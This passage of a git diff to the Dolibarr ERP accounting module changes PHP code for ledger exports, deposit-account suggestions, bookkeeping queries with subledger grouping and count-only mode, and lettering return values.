str_pad(self::trunc($data->doc_ref . ' ' . $data->label_operation, 30), 30); + $Tab['libelle_ecriture2'] = str_pad(self::trunc($data->label_operation, 30), 30); $Tab['codetva'] = str_repeat(' ', 2); // We need to keep the 10 lastest number of invoice doc_ref not the beginning part that is the unusefull almost same part // $Tab['num_piece3'] = str_pad(self::trunc($data->piece_num, 10), 10); $Tab['num_piece3'] = substr(self::trunc($data->doc_ref, 20), -10); - $Tab['filler4'] = str_repeat(' ', 73); + $Tab['reserved'] = str_repeat(' ', 10); // position 159 + $Tab['currency_amount'] = str_repeat(' ', 13); // position 169 + // get document file + $attachmentFileName = ''; + if ($withAttachment == 1) { + $attachmentFileKey = trim($data->piece_num); + if (!isset($archiveFileList[$attachmentFileKey])) { + $objectDirPath = ''; + $objectFileName = dol_sanitizeFileName($data->doc_ref); + if ($data->doc_type == 'customer_invoice') { + $objectDirPath = !empty($conf->facture->multidir_output[$conf->entity]) ? $conf->facture->multidir_output[$conf->entity] : $conf->facture->dir_output; + } elseif ($data->doc_type == 'expense_report') { + $objectDirPath = !empty($conf->expensereport->multidir_output[$conf->entity]) ? $conf->expensereport->multidir_output[$conf->entity] : $conf->factureexpensereport->dir_output; + } elseif ($data->doc_type == 'supplier_invoice') { + $objectDirPath = !empty($conf->fournisseur->facture->multidir_output[$conf->entity]) ? $conf->fournisseur->facture->multidir_output[$conf->entity] : $conf->fournisseur->facture->dir_output; + } + $arrayofinclusion = array(); + $arrayofinclusion[] = '^'.preg_quote($objectFileName, '/').'\.pdf$'; + $fileFoundList = dol_dir_list($objectDirPath.'/'.$objectFileName, 'files', 0, implode('|', $arrayofinclusion), '(\.meta|_preview.*\.png)$', 'date', SORT_DESC, 0, true); + if (!empty($fileFoundList)) { + $attachmentFileNameTrunc = str_pad(self::trunc($data->piece_num, 8), 8, '0', STR_PAD_LEFT); + foreach ($fileFoundList as $fileFound) { + if (strstr($fileFound['name'], $objectFileName)) { + $fileFoundPath = $objectDirPath.'/'.$objectFileName.'/'.$fileFound['name']; + if (file_exists($fileFoundPath)) { + $archiveFileList[$attachmentFileKey] = array( + 'path' => $fileFoundPath, + 'name' => $attachmentFileNameTrunc.'.pdf', + ); + break; + } + } + } + } + } + + if (isset($archiveFileList[$attachmentFileKey])) { + $attachmentFileName = $archiveFileList[$attachmentFileKey]['name']; + } + } + if (dol_strlen($attachmentFileName) == 12) { + $Tab['attachment'] = $attachmentFileName; // position 182 + } else { + $Tab['attachment'] = str_repeat(' ', 12); // position 182 + } + $Tab['filler4'] = str_repeat(' ', 38); $Tab['end_line'] = $end_line; - print implode($Tab); + if ($exportFile) { + fwrite($exportFile, implode($Tab)); + } else { + print implode($Tab); + } } + + return $archiveFileList; } /** @@ -1008,7 +1176,9 @@ class AccountancyExport print $line->code_journal . $separator; // FEC:JournalLib - print dol_string_unaccent($langs->transnoentities($line->journal_label)) . $separator; + $labeljournal = dol_string_unaccent($langs->transnoentities($line->journal_label)); + $labeljournal = dol_string_nospecial($labeljournal, ' '); + print $labeljournal . $separator; // FEC:EcritureNum print $line->piece_num . $separator; @@ -1139,7 +1309,9 @@ class AccountancyExport print $line->code_journal . $separator; // FEC:JournalLib - print dol_string_unaccent($langs->transnoentities($line->journal_label)) . $separator; + $labeljournal = dol_string_unaccent($langs->transnoentities($line->journal_label)); + $labeljournal = dol_string_nospecial($labeljournal, ' '); + print $labeljournal . $separator; // FEC:EcritureNum print $line->piece_num . $separator; @@ -1961,14 +2133,16 @@ class AccountancyExport //Calcul de la longueur des numéros de comptes $taille_numero = strlen(length_accountg($line->numero_compte)); - //Création du numéro de client générique + //Création du numéro de client et fournisseur générique $numero_cpt_client = '411'; + $numero_cpt_fourn = '401'; for ($i = 1; $i <= ($taille_numero - 3); $i++) { $numero_cpt_client .= '0'; + $numero_cpt_fourn .= '0'; } - //Création des comptes auxiliaire des clients - if (length_accountg($line->numero_compte) == $numero_cpt_client) { + //Création des comptes auxiliaire des clients et fournisseur + if (length_accountg($line->numero_compte) == $numero_cpt_client || length_accountg($line->numero_compte) == $numero_cpt_fourn) { $tab[] = rtrim(length_accounta($line->subledger_account), "0"); } else { $tab[] = length_accountg($line->numero_compte); diff --git a/htdocs/accountancy/class/accountancysystem.class.php b/htdocs/accountancy/class/accountancysystem.class.php index a62dddd6a26..99f908e70e3 100644 --- a/htdocs/accountancy/class/accountancysystem.class.php +++ b/htdocs/accountancy/class/accountancysystem.class.php @@ -38,6 +38,11 @@ class AccountancySystem */ public $error = ''; + /** + * @var string[] Array of Errors code (or messages) + */ + public $errors = array(); + /** * @var int ID */ diff --git a/htdocs/accountancy/class/accountingaccount.class.php b/htdocs/accountancy/class/accountingaccount.class.php index 95296624145..8e5f7690dd1 100644 --- a/htdocs/accountancy/class/accountingaccount.class.php +++ b/htdocs/accountancy/class/accountingaccount.class.php @@ -723,16 +723,18 @@ class AccountingAccount extends CommonObject } /** - * Return Suggest accounting accounts to bind + * Return a suggested account (from chart of accounts) to bind * * @param Societe $buyer Object buyer * @param Societe $seller Object seller * @param Product $product Product object sell or buy * @param Facture|FactureFournisseur $facture Facture * @param FactureLigne|SupplierInvoiceLine $factureDet Facture Det - * @param array $accountingAccount Array of Account account + * @param array $accountingAccount Array of Accounting account * @param string $type Customer / Supplier * @return array|int Accounting accounts suggested or < 0 if technical error. + * 'suggestedaccountingaccountbydefaultfor'=>Will be used for the label to show on tooltip for account by default on any product + * 'suggestedaccountingaccountfor'=>Is the account suggested for this product */ public function getAccountingCodeToBind(Societe $buyer, Societe $seller, Product $product, $facture, $factureDet, $accountingAccount = array(), $type = '') { @@ -868,20 +870,44 @@ class AccountingAccount extends CommonObject } // Manage Deposit - if ($factureDet->desc == "(DEPOSIT)" || $facture->type == $facture::TYPE_DEPOSIT) { - $accountdeposittoventilated = new self($this->db); - if ($type == 'customer') { - $result = $accountdeposittoventilated->fetch('', $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT, 1); - } elseif ($type == 'supplier') { - $result = $accountdeposittoventilated->fetch('', $conf->global->ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT, 1); - } - if (isset($result) && $result < 0) { - return -1; + if (getDolGlobalString('ACCOUNTING_ACCOUNT_' . strtoupper($type) . '_DEPOSIT')) { + if ($factureDet->desc == "(DEPOSIT)" || $facture->type == $facture::TYPE_DEPOSIT) { + $accountdeposittoventilated = new self($this->db); + if ($type == 'customer') { + $result = $accountdeposittoventilated->fetch('', $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT, 1); + } elseif ($type == 'supplier') { + $result = $accountdeposittoventilated->fetch('', $conf->global->ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT, 1); + } + if (isset($result) && $result < 0) { + return -1; + } + + $code_l = $accountdeposittoventilated->ref; + $code_p = ''; + $code_t = ''; + $suggestedid = $accountdeposittoventilated->rowid; + $suggestedaccountingaccountfor = 'deposit'; } - $code_l = $accountdeposittoventilated->ref; - $suggestedid = $accountdeposittoventilated->rowid; - $suggestedaccountingaccountfor = 'deposit'; + // For credit note invoice, if origin invoice is a deposit invoice, force also on specific customer/supplier deposit account + if (!empty($facture->fk_facture_source)) { + $invoiceSource = new $facture($this->db); + $invoiceSource->fetch($facture->fk_facture_source); + + if ($facture->type == $facture::TYPE_CREDIT_NOTE && $invoiceSource->type == $facture::TYPE_DEPOSIT) { + $accountdeposittoventilated = new self($this->db); + if ($type == 'customer') { + $accountdeposittoventilated->fetch('', $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT, 1); + } elseif ($type == 'supplier') { + $accountdeposittoventilated->fetch('', $conf->global->ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT, 1); + } + $code_l = $accountdeposittoventilated->ref; + $code_p = ''; + $code_t = ''; + $suggestedid = $accountdeposittoventilated->rowid; + $suggestedaccountingaccountfor = 'deposit'; + } + } } // If $suggestedid could not be guessed yet, we set it from the generic default accounting code $code_l diff --git a/htdocs/accountancy/class/accountingjournal.class.php b/htdocs/accountancy/class/accountingjournal.class.php index ca6ea8cd5e5..7c71d073629 100644 --- a/htdocs/accountancy/class/accountingjournal.class.php +++ b/htdocs/accountancy/class/accountingjournal.class.php @@ -388,12 +388,6 @@ class AccountingJournal extends CommonObject if (empty($type)) $type = 'view'; if (empty($in_bookkeeping)) $in_bookkeeping = 'notyet'; - // Hook - if (!is_object($hookmanager)) { - include_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $data = array(); $hookmanager->initHooks(array('accountingjournaldao')); @@ -454,27 +448,12 @@ class AccountingJournal extends CommonObject } $sql = ""; - - // FIXME sql error with Mysql 5.7 - /*if ($in_bookkeeping == 'already' || $in_bookkeeping == 'notyet') { - $sql .= "WITH in_accounting_bookkeeping(fk_docdet) AS ("; - $sql .= " SELECT DISTINCT fk_docdet"; - $sql .= " FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping"; - $sql .= " WHERE doc_type = 'asset'"; - $sql .= ") "; - }*/ - $sql .= "SELECT ad.fk_asset AS rowid, a.ref AS asset_ref, a.label AS asset_label, a.acquisition_value_ht AS asset_acquisition_value_ht"; $sql .= ", a.disposal_date AS asset_disposal_date, a.disposal_amount_ht AS asset_disposal_amount_ht, a.disposal_subject_to_vat AS asset_disposal_subject_to_vat"; $sql .= ", ad.rowid AS depreciation_id, ad.depreciation_mode, ad.ref AS depreciation_ref, ad.depreciation_date, ad.depreciation_ht, ad.accountancy_code_debit, ad.accountancy_code_credit"; $sql .= " FROM " . MAIN_DB_PREFIX . "asset_depreciation as ad"; $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "asset as a ON a.rowid = ad.fk_asset"; - // FIXME sql error with Mysql 5.7 - /*if ($in_bookkeeping == 'already' || $in_bookkeeping == 'notyet') { - $sql .= " LEFT JOIN in_accounting_bookkeeping as iab ON iab.fk_docdet = ad.rowid"; - }*/ $sql .= " WHERE a.entity IN (" . getEntity('asset', 0) . ')'; // We don't share object for accountancy, we use source object sharing - // Compatibility with Mysql 5.7 if ($in_bookkeeping == 'already') { $sql .= " AND EXISTS (SELECT iab.fk_docdet FROM " . MAIN_DB_PREFIX . "accounting_bookkeeping AS iab WHERE iab.fk_docdet = ad.rowid AND doc_type = 'asset')"; } elseif ($in_bookkeeping == 'notyet') { @@ -488,11 +467,6 @@ class AccountingJournal extends CommonObject if (!empty($conf->global->ACCOUNTING_DATE_START_BINDING)) { $sql .= " AND ad.depreciation_date >= '" . $this->db->idate($conf->global->ACCOUNTING_DATE_START_BINDING) . "'"; } - // Already in bookkeeping or not - // FIXME sql error with Mysql 5.7 - /*if ($in_bookkeeping == 'already' || $in_bookkeeping == 'notyet') { - $sql .= " AND iab.fk_docdet IS" . ($in_bookkeeping == 'already' ? " NOT" : "") . " NULL"; - }*/ $sql .= " ORDER BY ad.depreciation_date"; dol_syslog(__METHOD__, LOG_DEBUG); @@ -755,7 +729,7 @@ class AccountingJournal extends CommonObject } } - $journal_data[$pre_data_id] = $element; + $journal_data[(int) $pre_data_id] = $element; } unset($pre_data); @@ -810,12 +784,6 @@ class AccountingJournal extends CommonObject global $conf, $langs, $hookmanager; require_once DOL_DOCUMENT_ROOT . '/accountancy/class/bookkeeping.class.php'; - // Hook - if (!is_object($hookmanager)) { - include_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $error = 0; $hookmanager->initHooks(array('accountingjournaldao')); @@ -960,11 +928,6 @@ class AccountingJournal extends CommonObject $out = ''; // Hook - if (!is_object($hookmanager)) { - include_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($this->db); - } - $hookmanager->initHooks(array('accountingjournaldao')); $parameters = array('journal_data' => &$journal_data, 'search_date_end' => &$search_date_end, 'sep' => &$sep, 'out' => &$out); $reshook = $hookmanager->executeHooks('exportCsv', $parameters, $this); // Note that $action and $object may have been @@ -987,8 +950,8 @@ class AccountingJournal extends CommonObject $langs->transnoentitiesnoconv("LedgerAccount"), $langs->transnoentitiesnoconv("SubledgerAccount"), $langs->transnoentitiesnoconv("Label"), - $langs->transnoentitiesnoconv("Debit"), - $langs->transnoentitiesnoconv("Credit"), + $langs->transnoentitiesnoconv("AccountingDebit"), + $langs->transnoentitiesnoconv("AccountingCredit"), $langs->transnoentitiesnoconv("Journal"), $langs->transnoentitiesnoconv("Note"), ); @@ -998,8 +961,8 @@ class AccountingJournal extends CommonObject $langs->transnoentitiesnoconv("Piece"), $langs->transnoentitiesnoconv("AccountAccounting"), $langs->transnoentitiesnoconv("LabelOperation"), - $langs->transnoentitiesnoconv("Debit"), - $langs->transnoentitiesnoconv("Credit"), + $langs->transnoentitiesnoconv("AccountingDebit"), + $langs->transnoentitiesnoconv("AccountingCredit"), ); } elseif ($this->nature == 1) { $header = array( @@ -1007,8 +970,8 @@ class AccountingJournal extends CommonObject $langs->transnoentitiesnoconv("Piece"), $langs->transnoentitiesnoconv("AccountAccounting"), $langs->transnoentitiesnoconv("LabelOperation"), - $langs->transnoentitiesnoconv("Debit"), - $langs->transnoentitiesnoconv("Credit"), + $langs->transnoentitiesnoconv("AccountingDebit"), + $langs->transnoentitiesnoconv("AccountingCredit"), ); } diff --git a/htdocs/accountancy/class/bookkeeping.class.php b/htdocs/accountancy/class/bookkeeping.class.php index 95ba38d20bb..7e2cdc56543 100644 --- a/htdocs/accountancy/class/bookkeeping.class.php +++ b/htdocs/accountancy/class/bookkeeping.class.php @@ -817,56 +817,61 @@ class BookKeeping extends CommonObject /** - * Load object in memory from the database + * Load object in memory from the database in ->lines. Or just make a simple count if $countonly=1. * - * @param string $sortorder Sort Order - * @param string $sortfield Sort field - * @param int $limit offset limit - * @param int $offset offset limit - * @param array $filter filter array - * @param string $filtermode filter mode (AND or OR) - * @param int $option option (0: general account or 1: subaccount) - * - * @return int <0 if KO, >=0 if OK + * @param string $sortorder Sort Order + * @param string $sortfield Sort field + * @param int $limit offset limit + * @param int $offset offset limit + * @param array $filter filter array + * @param string $filtermode filter mode (AND or OR) + * @param int $option option (0: general account or 1: subaccount) + * @param int $countonly Do not fill the $object->lines, return only the count. + * @return int <0 if KO, Number of lines if OK */ - public function fetchAllByAccount($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND', $option = 0) + public function fetchAllByAccount($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND', $option = 0, $countonly = 0) { global $conf; dol_syslog(__METHOD__, LOG_DEBUG); $this->lines = array(); + $num = 0; $sql = 'SELECT'; - $sql .= ' t.rowid,'; - $sql .= " t.doc_date,"; - $sql .= " t.doc_type,"; - $sql .= " t.doc_ref,"; - $sql .= " t.fk_doc,"; - $sql .= " t.fk_docdet,"; - $sql .= " t.thirdparty_code,"; - $sql .= " t.subledger_account,"; - $sql .= " t.subledger_label,"; - $sql .= " t.numero_compte,"; - $sql .= " t.label_compte,"; - $sql .= " t.label_operation,"; - $sql .= " t.debit,"; - $sql .= " t.credit,"; - $sql .= " t.montant as amount,"; - $sql .= " t.sens,"; - $sql .= " t.multicurrency_amount,"; - $sql .= " t.multicurrency_code,"; - $sql .= " t.lettering_code,"; - $sql .= " t.date_lettering,"; - $sql .= " t.fk_user_author,"; - $sql .= " t.import_key,"; - $sql .= " t.code_journal,"; - $sql .= " t.journal_label,"; - $sql .= " t.piece_num,"; - $sql .= " t.date_creation,"; - $sql .= " t.date_export,"; - $sql .= " t.date_validated as date_validation,"; - $sql .= " t.import_key"; + if ($countonly) { + $sql .= ' COUNT(t.rowid) as nb'; + } else { + $sql .= ' t.rowid,'; + $sql .= " t.doc_date,"; + $sql .= " t.doc_type,"; + $sql .= " t.doc_ref,"; + $sql .= " t.fk_doc,"; + $sql .= " t.fk_docdet,"; + $sql .= " t.thirdparty_code,"; + $sql .= " t.subledger_account,"; + $sql .= " t.subledger_label,"; + $sql .= " t.numero_compte,"; + $sql .= " t.label_compte,"; + $sql .= " t.label_operation,"; + $sql .= " t.debit,"; + $sql .= " t.credit,"; + $sql .= " t.montant as amount,"; + $sql .= " t.sens,"; + $sql .= " t.multicurrency_amount,"; + $sql .= " t.multicurrency_code,"; + $sql .= " t.lettering_code,"; + $sql .= " t.date_lettering,"; + $sql .= " t.fk_user_author,"; + $sql .= " t.import_key,"; + $sql .= " t.code_journal,"; + $sql .= " t.journal_label,"; + $sql .= " t.piece_num,"; + $sql .= " t.date_creation,"; + $sql .= " t.date_export,"; + $sql .= " t.date_validated as date_validation,"; + $sql .= " t.import_key"; + } // Manage filter $sqlwhere = array(); if (count($filter) > 0) { @@ -880,7 +885,7 @@ class BookKeeping extends CommonObject } elseif ($key == 't.fk_doc' || $key == 't.fk_docdet' || $key == 't.piece_num') { $sqlwhere[] = $key.'='.$value; } elseif ($key == 't.subledger_account' || $key == 't.numero_compte') { - $sqlwhere[] = $key.' LIKE \''.$this->db->escape($value).'%\''; + $sqlwhere[] = $key.' LIKE \''.$this->db->escapeforlike($this->db->escape($value)).'%\''; } elseif ($key == 't.date_creation>=' || $key == 't.date_creation<=') { $sqlwhere[] = $key.'\''.$this->db->idate($value).'\''; } elseif ($key == 't.date_export>=' || $key == 't.date_export<=') { @@ -897,18 +902,19 @@ class BookKeeping extends CommonObject } else { $sqlwhere[] = natural_search("t.code_journal", $value, 3, 1); } + } elseif ($key == 't.search_accounting_code_in' && !empty($value)) { + $sqlwhere[] = 't.numero_compte IN ('.$this->db->sanitize($value, 1).')'; } else { $sqlwhere[] = natural_search($key, $value, 0, 1); } } } $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; - $sql .= ' WHERE 1 = 1'; - $sql .= " AND entity = " . ((int) $conf->entity); // Do not use getEntity for accounting features + $sql .= ' WHERE entity = ' . ((int) $conf->entity); // Do not use getEntity for accounting features if (count($sqlwhere) > 0) { $sql .= " AND ".implode(" ".$filtermode." ", $sqlwhere); } - // Affichage par compte comptable + // Filter by ledger account or subledger account if (!empty($option)) { $sql .= " AND t.subledger_account IS NOT NULL"; $sql .= " AND t.subledger_account <> ''"; @@ -919,54 +925,63 @@ class BookKeeping extends CommonObject $sortorder = 'ASC'.($sortorder ? ','.$sortorder : ''); } - $sql .= $this->db->order($sortfield, $sortorder); - if (!empty($limit)) { - $sql .= $this->db->plimit($limit + 1, $offset); + if (!$countonly) { + $sql .= $this->db->order($sortfield, $sortorder); + if (!empty($limit)) { + $sql .= $this->db->plimit($limit + 1, $offset); + } } $resql = $this->db->query($sql); if ($resql) { - $num = $this->db->num_rows($resql); + if ($countonly) { + $obj = $this->db->fetch_object($resql); + if ($obj) { + $num = $obj->nb; + } + } else { + $num = $this->db->num_rows($resql); - $i = 0; - while (($obj = $this->db->fetch_object($resql)) && (empty($limit) || $i < min($limit, $num))) { - $line = new BookKeepingLine(); + $i = 0; + while (($obj = $this->db->fetch_object($resql)) && (empty($limit) || $i < min($limit, $num))) { + $line = new BookKeepingLine(); - $line->id = $obj->rowid; + $line->id = $obj->rowid; - $line->doc_date = $this->db->jdate($obj->doc_date); - $line->doc_type = $obj->doc_type; - $line->doc_ref = $obj->doc_ref; - $line->fk_doc = $obj->fk_doc; - $line->fk_docdet = $obj->fk_docdet; - $line->thirdparty_code = $obj->thirdparty_code; - $line->subledger_account = $obj->subledger_account; - $line->subledger_label = $obj->subledger_label; - $line->numero_compte = $obj->numero_compte; - $line->label_compte = $obj->label_compte; - $line->label_operation = $obj->label_operation; - $line->debit = $obj->debit; - $line->credit = $obj->credit; - $line->montant = $obj->amount; // deprecated - $line->amount = $obj->amount; - $line->sens = $obj->sens; - $line->multicurrency_amount = $obj->multicurrency_amount; - $line->multicurrency_code = $obj->multicurrency_code; - $line->lettering_code = $obj->lettering_code; - $line->date_lettering = $obj->date_lettering; - $line->fk_user_author = $obj->fk_user_author; - $line->import_key = $obj->import_key; - $line->code_journal = $obj->code_journal; - $line->journal_label = $obj->journal_label; - $line->piece_num = $obj->piece_num; - $line->date_creation = $this->db->jdate($obj->date_creation); - $line->date_export = $this->db->jdate($obj->date_export); - $line->date_validation = $this->db->jdate($obj->date_validation); - $line->import_key = $obj->import_key; + $line->doc_date = $this->db->jdate($obj->doc_date); + $line->doc_type = $obj->doc_type; + $line->doc_ref = $obj->doc_ref; + $line->fk_doc = $obj->fk_doc; + $line->fk_docdet = $obj->fk_docdet; + $line->thirdparty_code = $obj->thirdparty_code; + $line->subledger_account = $obj->subledger_account; + $line->subledger_label = $obj->subledger_label; + $line->numero_compte = $obj->numero_compte; + $line->label_compte = $obj->label_compte; + $line->label_operation = $obj->label_operation; + $line->debit = $obj->debit; + $line->credit = $obj->credit; + $line->montant = $obj->amount; // deprecated + $line->amount = $obj->amount; + $line->sens = $obj->sens; + $line->multicurrency_amount = $obj->multicurrency_amount; + $line->multicurrency_code = $obj->multicurrency_code; + $line->lettering_code = $obj->lettering_code; + $line->date_lettering = $obj->date_lettering; + $line->fk_user_author = $obj->fk_user_author; + $line->import_key = $obj->import_key; + $line->code_journal = $obj->code_journal; + $line->journal_label = $obj->journal_label; + $line->piece_num = $obj->piece_num; + $line->date_creation = $this->db->jdate($obj->date_creation); + $line->date_export = $this->db->jdate($obj->date_export); + $line->date_validation = $this->db->jdate($obj->date_validation); + $line->import_key = $obj->import_key; - $this->lines[] = $line; + $this->lines[] = $line; - $i++; + $i++; + } } $this->db->free($resql); @@ -1139,9 +1154,10 @@ class BookKeeping extends CommonObject * @param int $offset offset limit * @param array $filter filter array * @param string $filtermode filter mode (AND or OR) + * @param int $option option (0: general account or 1: subaccount) * @return int <0 if KO, >0 if OK */ - public function fetchAllBalance($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND') + public function fetchAllBalance($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND', $option = 0) { global $conf; @@ -1151,6 +1167,11 @@ class BookKeeping extends CommonObject $sql = 'SELECT'; $sql .= " t.numero_compte,"; + $sql .= " t.label_compte,"; + if (!empty($option)) { + $sql .= " t.subledger_account,"; + $sql .= " t.subledger_label,"; + } $sql .= " SUM(t.debit) as debit,"; $sql .= " SUM(t.credit) as credit"; $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; @@ -1176,6 +1197,8 @@ class BookKeeping extends CommonObject } else { $sqlwhere[] = natural_search("t.code_journal", $value, 3, 1); } + } elseif ($key == 't.reconciled_option') { + $sqlwhere[] = 't.lettering_code IS NULL'; } else { $sqlwhere[] = $key." LIKE '%".$this->db->escape($value)."%'"; } @@ -1186,7 +1209,17 @@ class BookKeeping extends CommonObject $sql .= " AND ".implode(" ".$filtermode." ", $sqlwhere); } - $sql .= ' GROUP BY t.numero_compte'; + if (!empty($option)) { + $sql .= ' AND t.subledger_account IS NOT NULL'; + $sql .= ' AND t.subledger_account != ""'; + $sql .= ' GROUP BY t.numero_compte, t.label_compte, t.subledger_account, t.subledger_label'; + $sortfield = 't.subledger_account'.($sortfield ? ','.$sortfield : ''); + $sortorder = 'ASC'.($sortfield ? ','.$sortfield : ''); + } else { + $sql .= ' GROUP BY t.numero_compte, t.label_compte'; + $sortfield = 't.numero_compte'.($sortfield ? ','.$sortfield : ''); + $sortorder = 'ASC'.($sortorder ? ','.$sortorder : ''); + } if (!empty($sortfield)) { $sql .= $this->db->order($sortfield, $sortorder); @@ -1204,6 +1237,9 @@ class BookKeeping extends CommonObject $line = new BookKeepingLine(); $line->numero_compte = $obj->numero_compte; + $line->label_compte = $obj->label_compte; + $line->subledger_account = $obj->subledger_account; + $line->subledger_label = $obj->subledger_label; $line->debit = $obj->debit; $line->credit = $obj->credit; @@ -2052,7 +2088,7 @@ class BookKeeping extends CommonObject * FIXME: This function takes the parent of parent to get the root account ! * * @param string $account Accounting account - * @return array Array with root account information (max 2 upper level) + * @return array|int Array with root account information (max 2 upper level), <0 if KO */ public function getRootAccount($account = null) { diff --git a/htdocs/accountancy/class/lettering.class.php b/htdocs/accountancy/class/lettering.class.php index 5749518e2b9..272c067807d 100644 --- a/htdocs/accountancy/class/lettering.class.php +++ b/htdocs/accountancy/class/lettering.class.php @@ -329,6 +329,7 @@ class Lettering extends BookKeeping // Update request $now = dol_now(); + $affected_rows = 0; if (!$error) { $sql = "UPDATE ".MAIN_DB_PREFIX."accounting_bookkeeping SET"; @@ -341,6 +342,8 @@ class Lettering extends BookKeeping if (!$resql) { $error++; $this->errors[] = "Error ".$this->db->lasterror(); + } else { + $affected_rows = $this->db->affected_rows($resql); } } @@ -352,7 +355,7 @@ class Lettering extends BookKeeping } return -1 * $error; } else { - return 1; + return $affected_rows; } } @@ -387,7 +390,7 @@ class Lettering extends BookKeeping } return -1 * $error; } else { - return 1; + return $this->db->affected_rows($resql); } } @@ -482,7 +485,7 @@ class Lettering extends BookKeeping else $result = $this->updateLettering($bookkeeping_lines); if ($result < 0) { $group_error++; - } else { + } elseif ($result > 0) { $nb_lettering++; } } diff --git a/htdocs/accountancy/customer/index.php b/htdocs/accountancy/customer/index.php index 079e05c406b..17ac1d211ae 100644 --- a/htdocs/accountancy/customer/index.php +++ b/htdocs/accountancy/customer/index.php @@ -121,29 +121,15 @@ if (($action == 'clean' || $action == 'validatehistory') && $user->hasRight('acc if ($action == 'validatehistory') { $error = 0; $nbbinddone = 0; + $nbbindfailed = 0; $notpossible = 0; $db->begin(); // Now make the binding. Bind automatically only for product with a dedicated account that exists into chart of account, others need a manual bind - /*if ($db->type == 'pgsql') { - $sql1 = "UPDATE " . MAIN_DB_PREFIX . "facturedet"; - $sql1 .= " SET fk_code_ventilation = accnt.rowid"; - $sql1 .= " FROM " . MAIN_DB_PREFIX . "product as p, " . MAIN_DB_PREFIX . "accounting_account as accnt , " . MAIN_DB_PREFIX . "accounting_system as syst"; - $sql1 .= " WHERE " . MAIN_DB_PREFIX . "facturedet.fk_product = p.rowid AND accnt.fk_pcg_version = syst.pcg_version AND syst.rowid=" . ((int) $conf->global->CHARTOFACCOUNTS).' AND accnt.entity = '.((int) $conf->entity); - $sql1 .= " AND accnt.active = 1 AND p.accountancy_code_sell=accnt.account_number"; - $sql1 .= " AND " . MAIN_DB_PREFIX . "facturedet.fk_code_ventilation = 0"; - } else { - $sql1 = "UPDATE " . MAIN_DB_PREFIX . "facturedet as fd, " . MAIN_DB_PREFIX . "product as p, " . MAIN_DB_PREFIX . "accounting_account as accnt , " . MAIN_DB_PREFIX . "accounting_system as syst"; - $sql1 .= " SET fk_code_ventilation = accnt.rowid"; - $sql1 .= " WHERE fd.fk_product = p.rowid AND accnt.fk_pcg_version = syst.pcg_version AND syst.rowid=" . ((int) $conf->global->CHARTOFACCOUNTS).' AND accnt.entity = '.((int) $conf->entity); - $sql1 .= " AND accnt.active = 1 AND p.accountancy_code_sell=accnt.account_number"; - $sql1 .= " AND fd.fk_code_ventilation = 0"; - }*/ - // Customer Invoice lines (must be same request than into page list.php for manual binding) - $sql = "SELECT f.rowid as facid, f.ref as ref, f.datef, f.type as ftype,"; - $sql .= " l.rowid, l.fk_product, l.description, l.total_ht, l.fk_code_ventilation, l.product_type as type_l, l.tva_tx as tva_tx_line, l.vat_src_code,"; + $sql = "SELECT f.rowid as facid, f.ref as ref, f.datef, f.type as ftype, f.situation_cycle_ref, f.fk_facture_source,"; + $sql .= " l.rowid, l.fk_product, l.description, l.total_ht, l.fk_code_ventilation, l.product_type as type_l, l.situation_percent, l.tva_tx as tva_tx_line, l.vat_src_code,"; $sql .= " p.rowid as product_id, p.ref as product_ref, p.label as product_label, p.fk_product_type as type, p.tva_tx as tva_tx_prod,"; if (!empty($conf->global->MAIN_PRODUCT_PERENTITY_SHARED)) { $sql .= " ppe.accountancy_code_sell as code_sell, ppe.accountancy_code_sell_intra as code_sell_intra, ppe.accountancy_code_sell_export as code_sell_export,"; @@ -207,37 +193,38 @@ if ($action == 'validatehistory') { while ($i < min($num_lines, 10000)) { // No more than 10000 at once $objp = $db->fetch_object($result); - $thirdpartystatic->id = $objp->socid; - $thirdpartystatic->name = $objp->name; - $thirdpartystatic->client = $objp->client; - $thirdpartystatic->fournisseur = $objp->fournisseur; - $thirdpartystatic->code_client = $objp->code_client; - $thirdpartystatic->code_compta_client = $objp->code_compta_client; - $thirdpartystatic->code_fournisseur = $objp->code_fournisseur; - $thirdpartystatic->code_compta_fournisseur = $objp->code_compta_fournisseur; - $thirdpartystatic->email = $objp->email; - $thirdpartystatic->country_code = $objp->country_code; - $thirdpartystatic->tva_intra = $objp->tva_intra; - $thirdpartystatic->code_compta_product = $objp->company_code_sell; // The accounting account for product stored on thirdparty object (for level3 suggestion) + $thirdpartystatic->id = !empty($objp->socid) ? $objp->socid : 0; + $thirdpartystatic->name = !empty($objp->name) ? $objp->name : ""; + $thirdpartystatic->client = !empty($objp->client) ? $objp->client : ""; + $thirdpartystatic->fournisseur = !empty($objp->fournisseur) ? $objp->fournisseur : ""; + $thirdpartystatic->code_client = !empty($objp->code_client) ? $objp->code_client : ""; + $thirdpartystatic->code_compta_client = !empty($objp->code_compta_client) ? $objp->code_compta_client : ""; + $thirdpartystatic->code_fournisseur = !empty($objp->code_fournisseur) ? $objp->code_fournisseur : ""; + $thirdpartystatic->code_compta_fournisseur = !empty($objp->code_compta_fournisseur) ? $objp->code_compta_fournisseur : ""; + $thirdpartystatic->email = !empty($objp->email) ? $objp->email : ""; + $thirdpartystatic->country_code = !empty($objp->country_code) ? $objp->country_code : ""; + $thirdpartystatic->tva_intra = !empty($objp->tva_intra) ? $objp->tva_intra : ""; + $thirdpartystatic->code_compta_product = !empty($objp->company_code_sell) ? $objp->company_code_sell : 